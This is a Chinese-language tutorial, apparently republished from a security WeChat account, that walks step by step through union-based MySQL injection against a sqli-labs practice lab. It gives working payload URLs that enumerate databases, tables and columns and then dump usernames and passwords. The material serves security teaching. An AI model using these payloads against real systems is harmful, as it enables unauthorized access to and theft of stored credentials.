前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >SQL注入原理剖析

SQL注入原理剖析

作者头像
渗透攻击红队
发布于 2019-11-19 06:57:06
发布于 2019-11-19 06:57:06
98000
代码可运行
举报
文章被收录于专栏:漏洞知识库漏洞知识库
运行总次数:0
代码可运行

SQL注入原理剖析

SQL注入流程

  • SQL注入流程:
  • 1、判断是否有注入(判断是否为严格校验)
  • 2、什么类型的SQL注入
  • 3、语句是否能够被恶意修改
  • 4、是否能够成功被带入执行
  • 5、获取我们想要的数据

获取数据库 -> 获取表 -> 获取字段 -> 获取字段内容

判断是否有注入

注入点 : http://43.247.91.228:84/Less-2/?id=1

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
常见的有:
	第一种:and
	and 1=1	  返回正常	
	and 1=2	  返回错误
  
    第二种:.0.1
    ?id=3.0   返回正常
    ?id=3.1	  返回错误
    
    第三种:' (单引号)
    ?id=3'	  加单引号报错
    
    第四种:-1
    ?id=3-1   会返回 ?id=2 这个页面

正常页面:

and 1=1 返回正常:

and 1=2 返回错误

加单引号返回错误显示

判断后,存在SQL注入!

获取数据

MySQL 中,有一个很重要的数据库:information_schema,而它有三个很重要的表

第一个表个是:SCHEMATAinformation_schema , 而这个数据库中的 SCHEMATA 表中的 SCHEMA_NAME 列中的值有我们的所有的数据库名

information_schema: 第二个表是:TABLES TABLES 这个表里的包含了数据库中所有的字段

information_schema: 第三个表是:COLUMNS COUMNS 这个表里的包含了数据库中所有的表

查询想要的数据

使用 union 查询是否有 4 列 , %23# 号的 URL 编码,是注释的意思(列数一样就不报错,列数不一样就报错) http://43.247.91.228:84/Less-2/?id=2 union select 1,2,3,4 %23

这边是报错了,显示:The used SELECT statements have a different number of columns (查询的内容前后的列数不一致)说明不是 4 列

使用 union 查询是否有 3 列 , %23# 号的 URL 编码,是注释的意思(因为刚刚判断是否有4列出错了,那么就往前减少一位数字判断) http://43.247.91.228:84/Less-2/?id=2 union select 1,2,3 %23

这边是显示正常,说明是 3

这里有个疑问,这个 1,2,3 是什么意思呢? 1,2,3,是一个占位的意思。它的意思就是判断前面的列数有几列,一个逗号分隔的就是一列 写其他的也可以,例如:66,777,8888

这个时候就可以在 1,2,3 占位符里使用 SQL 语句来查询了! 因为有 union 查询,是查询前面和后面联合起来查询的,假如直接在列里插入 user() //查询当前数据库用户名,不会显示

这是为什么呢? 因为 左边的 http://43.247.91.228:84/Less-2/?id=2 是一条查询语句 右边的 select 1,user(),3 %23 没有任何条件也可以查询出来 合并起来就是两条数据,但是呢它在显示数据的时候,默认只显示它的第一个数据,就是左边的数据,右边的数据有也不显示 这个时候我们就可以让左边的数据没有,就可以显示出了:

-2 是没有的,然后就可以构造语句 : http://43.247.91.228:84/Less-2/?id=-2 union select 1,user(),3 %23 这个时候就查询出当前数据库用户名是 root

查询 information_schema 数据库中的 schemata 表里的 schema_name 字段 http://43.247.91.228:84/Less-2/?id=-2 union select 1,schema_name,3 from information_schema.schemata %23

详解: information_schema.schemata 查询 information_schema 数据库下的 schemata 表 schema_name 这个就是 schemata 表里的字段 下面是数据库的结构:

这边只查询出一条数据,查询出来后会显示第一个的字段内容:information_schema

想要查询所有的呢,就可以使用一个函数:group_concat() 吧所有的列的数据都显示,以逗号分隔

http://43.247.91.228:84/Less-2/?id=-2 union select 1,group_concat(schema_name),3 from information_schema.schemata %23

详解: group_concat(schema_name) 这个是用 group_concat 函数查询 schema_name 字段中的所有数据,并以逗号显示出来

这样就查询出了所有的数据库 :information_schema,challenges,hacker,mysql,security,sql,test

查询当前所使用的数据库名

使用 database() 查询当前数据库名:

http://43.247.91.228:84/Less-2/?id=-2 union select 1,database(),3 from information_schema.schemata %23 database() 是SQL语句中查询当前数据库名的函数 这边查询出来,当前所使用的数据库名是:security

知道了当前所使用的数据库是 security 后,我们需要查询数据库下有那些表:(所有的) http://43.247.91.228:84/Less-2/?id=-2 union select 1,group_concat(table_name),3 from information_schema.tables %23

详解: information_schema.tables 查询 information_schema 数据库下的 tables 的内容 group_concat(table_name) 使用 group_concat() 函数来显示出 table_name 列中的所有字段内容

上面的列出了所有的表了,但是我们想获取当前数据库下的表: http://43.247.91.228:84/Less-2/?id=-2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() %23

详解: information_schema.tables 查询 information_schema 数据库下的 tables 表 where table_schema = database() 使用 where 来指出只查询 table_schema 字段里当前所使用的数据库里的表(这个是一个条件语句) database() 是一个函数,查看当前数据库名

现在我们知道了,当前所使用的数据库中有四张表:mails,referers,uagents,users 一般 users 里会保存账号密码

查询 users 表里的字段: http://43.247.91.228:84/Less-2/?id=-2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = database() and table_name='users' #

详解: information_schema.columns 查询 information_schema 数据库下的 columns 表 where table_schema = database() 使用 where 来指出只查询 table_schema 字段里当前所使用的数据库里的表(这个是一个条件语句) and table_name=’users’ and 条件语句来指出查询 table_name 表里的 ‘users’ 字段

这里就查询出了 users 表下的字段:id,username,password

查询 username,password 字段内容: http://43.247.91.228:84/Less-2/?id=-2 union select 1,username,password from security.users #

详解: 在占位符中填写刚刚查询出来的字段名:username,password from security.users 查询 security 数据库中的 users 表

查询出来了,他们两个的值是 Dumb(这边只是默认的第一行)

查询所有的字段内容: http://43.247.91.228:84/Less-2/?id=-2 union select 1,group_concat(username),group_concat(password) from security.users #

详解: 还是使用 group_concat() 这个函数来实现的!

但是现实出来的不是那么的美观,而且你也不知道那个用户名对应的是那个密码

使用函数来实现让它们一一对应现实出账号密码:

http://43.247.91.228:84/Less-2/?id=-2 union select 1,concat(':',username,password),3 from security.users #

详解: concat(‘:’,username,password) 使用concat()函数来对 username,password 来一一对应 而 ':' 是为了让账号和密码用 : 来分隔

查询所有的列: http://43.247.91.228:84/Less-2/?id=-2 union select 1,group_concat(concat(‘:’,username,password)),3 from security.users #

详解: group_concat(concat(‘:’,username,password)) 还是使用 concat(‘:’,username,password) 来对 username,password 来一一对应,并使用 :来进行分隔 而 group_concat() 函数是用来现实全部的

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-11-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏洞知识库 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
1.1.1-SQL注入-SQL注入基础-SQL手工注入方法
核心原理: MySql内置的infromation_schema库,它功能强大,是我们进行MySql注入的基石!
tea9
2022/07/16
1.8K0
1.1.1-SQL注入-SQL注入基础-SQL手工注入方法
SQL注入 安全狗apache3.5.12048版本绕过
没错,这次我们又来了,还是那条狗,绕过的是安全狗apache3.5.12048版本,个人感觉这个狗比上次的那个有难度些。上次发的文章里面没安全狗的文件,因为当时安装之后文件就删了,这次有,后台回复关键字:
乌鸦安全
2021/08/05
5610
SQL注入 安全狗apache3.5.12048版本绕过
SQL注入 安全狗apache4.0.26655绕过
本次靶场采用经典的sqli-labs搭建,waf使用的是安全狗的apache4.0.26655版本,文章从最开始的分析到最后的结果,中间难免会有错误的地方,希望大家多多包涵和理解。
乌鸦安全
2021/08/05
8160
SQL注入 安全狗apache4.0.26655绕过
2022年最详细的SQL注入总结笔记
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息,在实战和测试中,难免会遇见到一些sql注入,下面,我将总结一些常用sql注入中的不同姿势。
纯情
2023/04/27
1.2K0
2022年最详细的SQL注入总结笔记
SQL注入-安全狗apache最新版绕过
现在的环境下对web选手越来越不友好,如果想在web场景中去挖洞,基本上都要面对waf,而常用的waf产品有很多,本次以开源免费最新版安全狗为例,绕过waf获取数据。
乌鸦安全
2021/08/05
1.9K0
SQL注入-安全狗apache最新版绕过
【less-2】sqli-labs靶场第二关
https://sqli.wmcoder.site/sqli-labs/Less-2/
未名编程
2024/10/12
1360
【less-2】sqli-labs靶场第二关
【Bypass】安全狗apache V4.0.23137 SQL注入绕过
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全
2022/04/15
9690
【Bypass】安全狗apache V4.0.23137 SQL注入绕过
WEB安全基础 - - -SQL注入利用
 报错为:Unknown column '5' in 'order clause' 
干掉芹菜
2022/11/19
5150
WEB安全基础 - - -SQL注入利用
1.sql注入基础
sys: 存储过程、自定义函数、视图帮助我们快速的了解系统的元数据信息。(元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等)
tea9
2022/09/08
5490
sql注入入门学习(数字型)(连载中)
在MySQL中,表名存放在information_schema数据库下tables表table_name字段中、查表名我们主要用到的是TABLES表
一个淡定的打工菜鸟
2018/12/07
1.2K0
1.2.1-SQL注入-SQL注入语法类型-union联合查询注入
SQL UNION 操作符 用于合并两个或多个SELECT语句的结果集。 注意: SELECT语句必须拥有相同数量的列。 列也必须拥有相似的数据类型。 每条SELECT语句中列的顺序必须相同。
tea9
2022/07/16
9320
安全笔记
CONCAT()函数用于将多个字符串连接成一个字符串。 使用数据表Info作为示例,其中SELECT id,name FROM info LIMIT 1;的返回结果为
XRSec
2022/02/13
3560
SQL学习之SQL注入总结
Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的sql命令的目的。 sql注入分类: 基于联合查询 基于错误回显 基于盲注,分时间盲注和布尔型的盲注 基于user-agent 基于feferer 基于cookie 二次注入 宽字节注入 注入一个网站时,我们先要找出后台构造的查询语句,然后判断是否存在注入点。 常规的找出查询语句的方法是在后面加’ 、 “ 、 ‘)  、 “),看是否报错,然后用and 1=1和and 1=2判断是否存在注入点
Jetpropelledsnake21
2018/06/14
1.8K0
MySQL手动注入步骤
判断注入点是有很多的方法,常见的 and -1=-1 还有其它的类型比如,堆叠注入、盲注的布尔型注入,时间型注入,还有报错注入以及闭合的一些符合,’(单引号),” (双引号)括号、百分号等一些闭合符合,还有就是注释符号,-- 或者 # 我局几个例子: 注释:双杠后面需要空格 防止注入失败,双杠注释不起作用就用 #
用户9006224
2022/12/21
1.2K0
新手科普 | MySQL手工注入之基本注入流程
MySQL手工注入的基本步骤以及一些技巧的记录,当出现学习手工注入的时候,网上的文章参差不齐,导致很长一段时间对手工注入的理解一直处于一知半解的状态,特此记录本文,让小白们少走些弯路。本文只针对手工注
FB客服
2018/02/24
1.1K0
新手科普 | MySQL手工注入之基本注入流程
【less-1】基于SQLI的SQL字符型报错注入
通过本实验理解数字型报错SQL注入漏洞点的定位方法,掌握利用手工方式完成一次完整SQL注入的过程,熟悉常见SQL注入命令的操作。
未名编程
2024/10/12
1180
【less-1】基于SQLI的SQL字符型报错注入
复习 - SQL注入
场景:网站A无注入点,网站B存在MySQL注入,且网站AB使用同一数据库。此时可利用网站B的注入点跨库查询获取网站A的数据。
Naraku
2021/07/28
1K0
SQLi_Labs通关文档【1-65关】
为了不干扰自己本机环境,sql-lab我就用的docker跑起来的,搭建也非常简单,也就两条命令
HACK学习
2019/08/05
4K1
SQL注入
首先先说点知识,1、MySql在5.0版本后新增一个叫information_schema的虚拟数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。利用这个可以获取表名,列名等 2、查询中用到的group_concat()函数是要把查询的内容联合到一起方便查看的,这样就不需要limit 0,1一个一个判断了 先查个字段,因为有三个数据,就用4吧order by 4#
故里[TRUE]
2023/04/16
1.1K0
SQL注入
SQL注入的各种姿势
当我们在输入框中输入不正常的id如1’ union select 1,database()%23,sql语句为
天钧
2019/07/26
1.1K0
SQL注入的各种姿势
相关推荐
1.1.1-SQL注入-SQL注入基础-SQL手工注入方法
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验